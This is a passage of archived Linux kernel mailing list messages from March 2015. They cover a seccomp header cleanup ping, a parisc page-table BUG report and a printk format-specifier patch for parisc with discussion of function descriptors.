         ZwXLS53uhRh8tH+bNuU0jczvnS6ckunCc7oBEKwcbACnvSGtPCmYSCbwoSm7puB3W0EN
         B0kLPxraoIZPyXkqxwIe29JdpZT+lYkZ23cZk=
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:mime-version:sender:in-reply-to:references:date
         :message-id:subject:from:to:cc:content-type;
        bh=fGiWOgdnSGWqgtkswLwrg8Fb26jdUJ5fEGIfJ2wI+t0=;
        b=W8Qr5OwYYsPvhRbD4+NMVs2egB8bKjCWUY9wAxsnYng4YMuc1xsSyfOz0kOrHRP4if
         2vA4NOkC4XKe+cnhbk7HnWGXGEqHc3xrPZK5cHleKL9UPvGovJLvp+S7TmO7sSwrY2ig
         CjezMBtDIvWWr7tlrJe5ERN6IoZUyUzYxPlko/Rq51XGJQSLB+RVUAHEhCXT49UhEmzm
         YhrfgjEnHPDcDg0TA9FJuy7aygSI8B221yM6FMr03YlyLCQmKbxAmpBcR8/z7uSacNHK
         w9yD4VUjabGvfiOswAE5UNftDD1ML8ojIJHGD8L9+lapvrh2dJGMmd1+Ba5GITtum1Qt
         4lSQ==
X-Gm-Message-State: ALoCoQmm69WfSrKizck6s4GPX5DzsBYdYsu2dSn95T3gdQNiQcCbqBor0fwSJovo8cn2ZHs2t+Wq
X-Received: by 10.52.103.10 with SMTP id fs10mr44829384vdb.58.1426100395279;
 Wed, 11 Mar 2015 11:59:55 -0700 (PDT)
Original-Received: by 10.52.172.35 with HTTP; Wed, 11 Mar 2015 11:59:55 -0700 (PDT)
In-Reply-To: <1425518828-16017-1-git-send-email-keescook@chromium.org>
X-Google-Sender-Auth: _V2hF6Rc6Mb1S7ii_RxC2oU2I-M
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1906286 gmane.linux.ports.arm.kernel:399457 gmane.linux.ports.mips.general:47490 gmane.linux.ports.parisc:25639 gmane.linux.ports.ppc64.devel:110064 gmane.linux.ports.sparc:20550 gmane.linux.kernel.cross-arch:26667
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1906286>

On Wed, Mar 4, 2015 at 5:27 PM, Kees Cook <keescook@chromium.org> wrote:
> Most architectures don't need to do much special for the strict-mode
> seccomp syscall entries. Remove the redundant headers and reduce the
> others.
>
> Signed-off-by: Kees Cook <keescook@chromium.org>

Hi Andrew,

Just a quick ping: are you able to pick up this series, or should I
try to get this in on a per-arch basis?

Thanks!

-Kees

> ---
> v3:
> - split patch series by architecture
> - fix up architectures that need sigreturn overrides (ingo)
> v2:
> - use Kbuild "generic-y" instead of explicit #include lines (sfr)
>



-- 
Kees Cook
Chrome OS Security

From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Graham Gower <graham.gower@gmail.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Thu, 12 Mar 2015 10:01:40 +1030
Lines: 32
Approved: news@gmane.org
Message-ID: <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl>
	<CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com>
	<BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1426116712 20249 80.91.229.3 (11 Mar 2015 23:31:52 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 11 Mar 2015 23:31:52 +0000 (UTC)
Cc: Domenico Andreoli <cavokz@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	kirill@shutemov.name
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 00:31:43 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YVq6I-0006PH-Kb
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 00:31:43 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751361AbbCKXbm (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Mar 2015 19:31:42 -0400
Original-Received: from mail-ob0-f174.google.com ([209.85.214.174]:40863 "EHLO
	mail-ob0-f174.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750980AbbCKXbl (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Mar 2015 19:31:41 -0400
Original-Received: by obcuz6 with SMTP id uz6so12508081obc.7
        for <linux-parisc@vger.kernel.org>; Wed, 11 Mar 2015 16:31:41 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=pWLM7uEVUy6XxOqs2Efwp+UTdqr+RInGoZvI7ZPPhKg=;
        b=c9OiN02ekXp+R3aaQWJcW7A/d7O556Jn3vaYHKAiVcVloS+WKPR+OOXVy33/T7f5cN
         1RvO/cxgyboVsH04XvldNQPvh8DHvEIJECwIkrgzpD2iUZvpYL7JnKAuRl+TCIb/rcku
         cA5vrPxCuAedMyLWoajRr8hsVTCMweLCg0uajpwTTo9k0fG7V85kqu91EvqV8ybAuH9+
         ALOY0rK4o54LMxzDURNk4t3VsL01ZXaEtMzAoBueOH96FP1Z8NtHnakoogFzcZhaRWsj
         HV1vbCaUMXaGkZ4ncLE4SX2BTSNhr8TQibmYs98lAwSZs5OUjTxg9pq5cLaowl3fgL0R
         fTuA==
X-Received: by 10.182.120.3 with SMTP id ky3mr31669409obb.33.1426116701042;
 Wed, 11 Mar 2015 16:31:41 -0700 (PDT)
Original-Received: by 10.76.123.68 with HTTP; Wed, 11 Mar 2015 16:31:40 -0700 (PDT)
In-Reply-To: <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25640
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25640>

I thought this patch was supposed to address the problem?
https://lkml.org/lkml/2015/2/26/230

However, its not fixed it for me either in 4.0.0-rc3.

-Graham

On 12 March 2015 at 00:44, John David Anglin <dave.anglin@bell.net> wrote:
> On 2015-03-11 7:32 AM, Domenico Andreoli wrote:
>>
>> I also do. Related to https://lkml.org/lkml/2015/2/13/431?
>
> More info is here:
> http://www.spinics.net/lists/linux-mm/msg84937.html
>
> There doesn't seem to be a patch yet.
>
>
> Dave
>
> --
> John David Anglin  dave.anglin@bell.net
>
> --
> To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: BUG: non-zero nr_pmds on freeing mm: -1
Date: Wed, 11 Mar 2015 20:21:35 -0400
Lines: 21
Approved: news@gmane.org
Message-ID: <BLU436-SMTP233C66DF7A4433DBEA2897997060@phx.gbl>
References: <BLU436-SMTP11459F3D9DC424BE50626A797190@phx.gbl> <CADjby3WS3cJs2BOmYT4Cdr4i9FncD=BYjrkuQiBH3=VmOndRPw@mail.gmail.com> <BLU436-SMTP234E13E9344CBB4D18CEB0D97190@phx.gbl> <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1426119718 934 80.91.229.3 (12 Mar 2015 00:21:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 00:21:58 +0000 (UTC)
Cc: Domenico Andreoli <cavokz@gmail.com>,
	linux-parisc List <linux-parisc@vger.kernel.org>,
	kirill@shutemov.name
To: Graham Gower <graham.gower@gmail.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 01:21:45 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YVqsj-0004RZ-II
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 01:21:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751257AbbCLAVk (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 11 Mar 2015 20:21:40 -0400
Original-Received: from blu004-omc4s36.hotmail.com ([65.55.111.175]:50262 "EHLO
	BLU004-OMC4S36.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750960AbbCLAVj convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 11 Mar 2015 20:21:39 -0400
Original-Received: from BLU436-SMTP233 ([65.55.111.137]) by BLU004-OMC4S36.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Wed, 11 Mar 2015 17:21:38 -0700
X-TMN: [MeyzzpMg2eatTYwFR2hcQRzP87KlAwkl]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <CAFk90B8ZRnte0K-r8EBacx_WEEEL4fpTLkkVVgj42s1HO6QhFA@mail.gmail.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 12 Mar 2015 00:21:37.0266 (UTC) FILETIME=[80DF1520:01D05C5A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25641
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25641>

On 2015-03-11, at 7:31 PM, Graham Gower wrote:

> I thought this patch was supposed to address the problem?
> https://lkml.org/lkml/2015/2/26/230
> 
> However, its not fixed it for me either in 4.0.0-rc3.

I doubt the patch is correct for parisc.  I believe the system where I saw the BUG messages
has PT_NLEVELS == 3.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Wood <scottwood@freescale.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: [PATCH 14/22] parisc: %pF is only for function pointers
Date: Wed, 11 Mar 2015 22:13:49 -0500
Lines: 27
Approved: news@gmane.org
Message-ID: <1426130037-17956-14-git-send-email-scottwood@freescale.com>
References: <1426130037-17956-1-git-send-email-scottwood@freescale.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1426131042 5279 80.91.229.3 (12 Mar 2015 03:30:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 03:30:42 +0000 (UTC)
Cc: Scott Wood <scottwood@freescale.com>,
	<linux-parisc@vger.kernel.org>
To: <trivial@kernel.org>, <linux-kernel@vger.kernel.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 12 04:30:39 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YVtpR-0002pi-15
	for glk-linux-kernel-3@plane.gmane.org; Thu, 12 Mar 2015 04:30:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752962AbbCLDaF (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 11 Mar 2015 23:30:05 -0400
Original-Received: from mail-bn1on0143.outbound.protection.outlook.com ([157.56.110.143]:64128
	"EHLO na01-bn1-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1752863AbbCLD34 (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Wed, 11 Mar 2015 23:29:56 -0400
Original-Received: from snotra.am.freescale.net (192.88.168.49) by
 BY2PR0301MB0726.namprd03.prod.outlook.com (25.160.63.16) with Microsoft SMTP
 Server (TLS) id 15.1.106.15; Thu, 12 Mar 2015 03:14:43 +0000
X-Mailer: git-send-email 2.1.0
In-Reply-To: <1426130037-17956-1-git-send-email-scottwood@freescale.com>
X-Originating-IP: [192.88.168.49]
X-ClientProxiedBy: BN1PR08CA0019.namprd08.prod.outlook.com (10.242.217.147) To
 BY2PR0301MB0726.namprd03.prod.outlook.com (25.160.63.16)
Authentication-Results: kernel.org; dkim=none (message not signed)
 header.d=none;
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:BY2PR0301MB0726;
X-Forefront-Antispam-Report: BMV:1;SFV:NSPM;SFS:(10019020)(6009001)(122386002)(92566002)(62966003)(40100003)(19580395003)(19580405001)(77156002)(46102003)(50226001)(42186005)(2950100001)(50986999)(87976001)(86362001)(47776003)(50466002)(229853001)(36756003)(66066001)(48376002)(33646002)(76176999);DIR:OUT;SFP:1102;SCL:1;SRVR:BY2PR0301MB0726;H:snotra.am.freescale.net;FPR:;SPF:None;MLV:sfv;LANG:en;
X-Microsoft-Antispam-PRVS: <BY2PR0301MB07260E12512D030D4F2BBA9DB5060@BY2PR0301MB0726.namprd03.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(5002009)(5005006);SRVR:BY2PR0301MB0726;BCL:0;PCL:0;RULEID:;SRVR:BY2PR0301MB0726;
X-Forefront-PRVS: 05134F8B4F
X-OriginatorOrg: freescale.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 12 Mar 2015 03:14:43.4285
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: BY2PR0301MB0726
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:1906546 gmane.linux.ports.parisc:25642
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/1906546>

Use %pS for actual addresses, otherwise you'll get bad output
on arches like ppc64 where %pF expects a function descriptor.  Even on
other architectures, refrain from setting a bad example that people
copy.

Signed-off-by: Scott Wood <scottwood@freescale.com>
Cc: linux-parisc@vger.kernel.org
---
 drivers/parisc/superio.c | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/drivers/parisc/superio.c b/drivers/parisc/superio.c
index 8be2096..38c5440 100644
--- a/drivers/parisc/superio.c
+++ b/drivers/parisc/superio.c
@@ -348,7 +348,7 @@ int superio_fixup_irq(struct pci_dev *pcidev)
 		BUG();
 		return -1;
 	}
-	printk("superio_fixup_irq(%s) ven 0x%x dev 0x%x from %pf\n",
+	printk("superio_fixup_irq(%s) ven 0x%x dev 0x%x from %ps\n",
 		pci_name(pcidev),
 		pcidev->vendor, pcidev->device,
 		__builtin_return_address(0));
-- 
2.1.0


From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 

From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 14/22] parisc: %pF is only for function pointers
Date: Thu, 12 Mar 2015 08:11:22 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <1426162282.2146.77.camel@HansenPartnership.com>
References: <1426130037-17956-1-git-send-email-scottwood@freescale.com>
	 <1426130037-17956-14-git-send-email-scottwood@freescale.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426162303 3503 80.91.229.3 (12 Mar 2015 12:11:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 12:11:43 +0000 (UTC)
Cc: trivial@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: Scott Wood <scottwood@freescale.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 13:11:37 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YW1xf-0005Ej-Q0
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 13:11:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754412AbbCLML2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 08:11:28 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:42286 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754408AbbCLMLZ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 08:11:25 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 06DF08EE0BA;
	Thu, 12 Mar 2015 05:11:25 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id xVzwF08ENkZZ; Thu, 12 Mar 2015 05:11:24 -0700 (PDT)
Original-Received: from [10.2.20.217] (unknown [64.196.201.2])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 133848EE072;
	Thu, 12 Mar 2015 05:11:23 -0700 (PDT)
In-Reply-To: <1426130037-17956-14-git-send-email-scottwood@freescale.com>
X-Mailer: Evolution 3.12.9 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25644 gmane.linux.kernel:1906863
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25644>

On Wed, 2015-03-11 at 22:13 -0500, Scott Wood wrote:
> Use %pS for actual addresses, otherwise you'll get bad output
> on arches like ppc64 where %pF expects a function descriptor.  Even on
> other architectures, refrain from setting a bad example that people
> copy.

Are you sure about this?  Parisc64 is a function description
architecture.  There may be a misunderstanding about what
__builtin_return_address(0) is supposed to return, but I'm certain the
person who added the code thought it returned a function pointer, which
on parisc64 would be a descriptor.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH 14/22] parisc: %pF is only for function pointers
Date: Thu, 12 Mar 2015 10:43:51 -0400
Lines: 34
Approved: news@gmane.org
Message-ID: <BLU437-SMTP4321320765AD407013D80497060@phx.gbl>
References: <1426130037-17956-1-git-send-email-scottwood@freescale.com>	 <1426130037-17956-14-git-send-email-scottwood@freescale.com> <1426162282.2146.77.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="utf-8"; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426171451 2643 80.91.229.3 (12 Mar 2015 14:44:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 14:44:11 +0000 (UTC)
Cc: trivial@kernel.org, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	Scott Wood <scottwood@freescale.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Mar 12 15:44:03 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YW4L8-0007aP-49
	for glpp-linux-parisc@plane.gmane.org; Thu, 12 Mar 2015 15:43:59 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754671AbbCLOn4 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 12 Mar 2015 10:43:56 -0400
Original-Received: from blu004-omc3s30.hotmail.com ([65.55.116.105]:60866 "EHLO
	BLU004-OMC3S30.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754513AbbCLOnz (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 12 Mar 2015 10:43:55 -0400
Original-Received: from BLU437-SMTP43 ([65.55.116.73]) by BLU004-OMC3S30.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Thu, 12 Mar 2015 07:43:55 -0700
X-TMN: [V7xtLjLU2ci4bfoCsA7A51vCgs4ZRqe0]
X-Originating-Email: [dave.anglin@bell.net]
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:31.0) Gecko/20100101 Thunderbird/31.5.0
In-Reply-To: <1426162282.2146.77.camel@HansenPartnership.com>
X-OriginalArrivalTime: 12 Mar 2015 14:43:53.0734 (UTC) FILETIME=[F6359A60:01D05CD2]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25645 gmane.linux.kernel:1907026
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25645>

On 2015-03-12 8:11 AM, James Bottomley wrote:
> On Wed, 2015-03-11 at 22:13 -0500, Scott Wood wrote:
>> Use %pS for actual addresses, otherwise you'll get bad output
>> on arches like ppc64 where %pF expects a function descriptor.  Even on
>> other architectures, refrain from setting a bad example that people
>> copy.
> Are you sure about this?  Parisc64 is a function description
> architecture.  There may be a misunderstanding about what
> __builtin_return_address(0) is supposed to return, but I'm certain the
> person who added the code thought it returned a function pointer, which
> on parisc64 would be a descriptor.

__builtin_return_address(0) returns the return address in the calling procedure
ignoring import/export stubs.  There are no function descriptors for return addresses.
Thus, it can't return a function pointer.

There are no function descriptors in 32-bit parisc when the -mfast-indirect-calls
compiler option is used.

This option used to be used for 64-bit kernel builds but this broke when the
-mfast-indirect-calls was fixed for user space (gcl uses it).  I worked a bit
on trying to eliminate function descriptors from the 64-bit kernel for performance
but I don't have a working change.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:21 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Scott Wood <scottwood@freescale.com>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc
Subject: Re: [PATCH 14/22] parisc: %pF is only for function pointers
Date: Thu, 12 Mar 2015 11:14:29 -0500
Lines: 20
Approved: news@gmane.org
Message-ID: <1426176869.30327.113.camel@freescale.com>
References: <1426130037-17956-1-git-send-email-scottwood@freescale.com>
	 <1426130037-17956-14-git-send-email-scottwood@freescale.com>
	 <1426162282.2146.77.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1426176903 6824 80.91.229.3 (12 Mar 2015 16:15:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 12 Mar 2015 16:15:03 +0000 (UTC)
Cc: <trivial@kernel.org>, <linux-kernel@vger.kernel.org>,
	<linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Mar 12 17:15:01 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1YW5l7-00054F-Mw
	for glk-linux-kernel-3@plane.gmane.org; Thu, 12 Mar 2015 17:14:54 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1030401AbbCLQOr (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 12 Mar 2015 12:14:47 -0400
Original-Received: from mail-bn1bon0136.outbound.protection.outlook.com ([157.56.111.136]:25082
	"EHLO na01-bn1-obe.outbound.protection.outlook.com"
	rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org with ESMTP
	id S1030299AbbCLQOp (ORCPT <rfc822;linux-kernel@vger.kernel.org>);
	Thu, 12 Mar 2015 12:14:45 -0400
Original-Received: from [IPv6:2601:2:5800:3f7:12bf:48ff:fe84:c9a0]
 (2601:2:5800:3f7:12bf:48ff:fe84:c9a0) by
 CY1PR0301MB0731.namprd03.prod.outlook.com (25.160.159.149) with Microsoft
 SMTP Server (TLS) id 15.1.106.15; Thu, 12 Mar 2015 16:14:38 +0000
In-Reply-To: <1426162282.2146.77.camel@HansenPartnership.com>
X-Mailer: Evolution 3.12.10-0ubuntu1~14.10.1 
X-Originating-IP: [2601:2:5800:3f7:12bf:48ff:fe84:c9a0]
X-ClientProxiedBy: BN3PR09CA0029.namprd09.prod.outlook.com (25.160.111.167) To
 CY1PR0301MB0731.namprd03.prod.outlook.com (25.160.159.149)
Authentication-Results: HansenPartnership.com; dkim=none (message not signed)
 header.d=none;
X-Microsoft-Antispam: UriScan:;BCL:0;PCL:0;RULEID:;SRVR:CY1PR0301MB0731;
X-Forefront-Antispam-Report: BMV:1;SFV:NSPM;SFS:(10019020)(6009001)(24454002)(51704005)(377424004)(87976001)(2950100001)(33646002)(50226001)(103116003)(122386002)(110136001)(5820100001)(36756003)(23676002)(40100003)(46102003)(77156002)(47776003)(62966003)(92566002)(50986999)(76176999)(86362001)(50466002)(42186005);DIR:OUT;SFP:1102;SCL:1;SRVR:CY1PR0301MB0731;H:[IPv6:2601:2:5800:3f7:12bf:48ff:fe84:c9a0];FPR:;SPF:None;MLV:sfv;LANG:en;
X-Microsoft-Antispam-PRVS: <CY1PR0301MB0731C7E81B9733C867A20BE3B5060@CY1PR0301MB0731.namprd03.prod.outlook.com>
X-Exchange-Antispam-Report-Test: UriScan:;
X-Exchange-Antispam-Report-CFA-Test: BCL:0;PCL:0;RULEID:(601004)(5002009)(5005006);SRVR:CY1PR0301MB0731;BCL:0;PCL:0;RULEID:;SRVR:CY1PR0301MB0731;
X-Forefront-PRVS: 05134F8B4F
X-OriginatorOrg: freescale.com
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 12 Mar 2015 16:14:38.0047 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-Transport-CrossTenantHeadersStamped: CY1PR0301MB0731
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
